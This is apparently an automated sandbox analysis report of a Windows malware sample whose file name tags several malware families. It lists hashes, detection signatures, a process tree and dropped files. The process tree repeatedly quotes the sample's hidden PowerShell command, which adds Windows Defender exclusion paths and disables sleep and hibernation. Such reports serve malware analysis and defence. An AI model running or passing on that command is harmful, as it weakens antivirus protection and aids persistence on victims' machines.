Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/07/2026, 02:59

General

  • Target
    2026-07-17_8cd5c3147434e03fdea959b87fac25bd_cobalt-strike_icedid_luca-stealer_njrat_stealc_vidar_win-beast.exe
  • Size 2.6MB
  • Sample260718-dg72nsd15m
  • SHA256 58913e0c0552e12a6e7d61a73b741512f983b625147cc2559389010f394f1042
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Power Settings 1 TTPs 12 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-17_8cd5c3147434e03fdea959b87fac25bd_cobalt-strike_icedid_luca-stealer_njrat_stealc_vidar_win-beast.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-17_8cd5c3147434e03fdea959b87fac25bd_cobalt-strike_icedid_luca-stealer_njrat_stealc_vidar_win-beast.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EP Bypass -WindowStyle Hidden -C "Add-MpPreference -ExclusionPath $env:LOCALAPPDATA; Add-MpPreference -ExclusionPath $env:ProgramData"; powercfg /change standby-timeout-ac 0; powercfg /change standby-timeout-dc 0; powercfg /change hibernate-timeout-ac 0; powercfg /hibernate off
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3824
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-ac 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4212
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-dc 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1944
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change hibernate-timeout-ac 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:5980
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /hibernate off
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:5204
  • C:\Users\Admin\AppData\Local\AppRt9f01\apprt9f01.exe
    C:\Users\Admin\AppData\Local\AppRt9f01\apprt9f01.exe
    1⤵
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:5152
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EP Bypass -WindowStyle Hidden -C "Add-MpPreference -ExclusionPath $env:LOCALAPPDATA; Add-MpPreference -ExclusionPath $env:ProgramData"; powercfg /change standby-timeout-ac 0; powercfg /change standby-timeout-dc 0; powercfg /change hibernate-timeout-ac 0; powercfg /hibernate off
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2724
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-ac 0
        3⤵
        • Power Settings
        PID:4816
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-dc 0
        3⤵
        • Power Settings
        PID:3352
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change hibernate-timeout-ac 0
        3⤵
        • Power Settings
        PID:4620
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /hibernate off
        3⤵
        • Power Settings
        PID:4104
  • C:\Users\Admin\AppData\Local\Programs\HCfg9f01\hostcfg9f01.exe
    C:\Users\Admin\AppData\Local\Programs\HCfg9f01\hostcfg9f01.exe
    1⤵
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3560
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EP Bypass -WindowStyle Hidden -C "Add-MpPreference -ExclusionPath $env:LOCALAPPDATA; Add-MpPreference -ExclusionPath $env:ProgramData"; powercfg /change standby-timeout-ac 0; powercfg /change standby-timeout-dc 0; powercfg /change hibernate-timeout-ac 0; powercfg /hibernate off
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2804
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-ac 0
        3⤵
        • Power Settings
        PID:4668
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-dc 0
        3⤵
        • Power Settings
        PID:1284
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change hibernate-timeout-ac 0
        3⤵
        • Power Settings
        PID:1972
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /hibernate off
        3⤵
        • Power Settings
        PID:924

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        apprt9f01.exe

        • Path C:\Users\Admin\AppData\Local\AppRt9f01\apprt9f01.exe
        • Size 2.6MB
        • SHA256 58913e0c0552e12a6e7d61a73b741512f983b625147cc2559389010f394f1042
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e86ea29d5aaa9164cc3269e41b61e7ae574db7ed89ad3391ac83a29aee93c4ab
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_e2lmq4io.xaz.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e2lmq4io.xaz.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3824-19-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-22-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-11-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-14-0x000001F311C90000-0x000001F311CAE000-memory.dmp

        memory/3824-16-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-17-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-15-0x000001F32A150000-0x000001F32A202000-memory.dmp

        memory/3824-18-0x000001F311CB0000-0x000001F311CBA000-memory.dmp

        memory/3824-3-0x00007FFDCD86F000-0x00007FFDCD870000-memory.dmp

        memory/3824-20-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-21-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-10-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-23-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-24-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-25-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-26-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-32-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-9-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-8-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3824-7-0x000001F311AC0000-0x000001F311AE2000-memory.dmp

        memory/3824-4-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp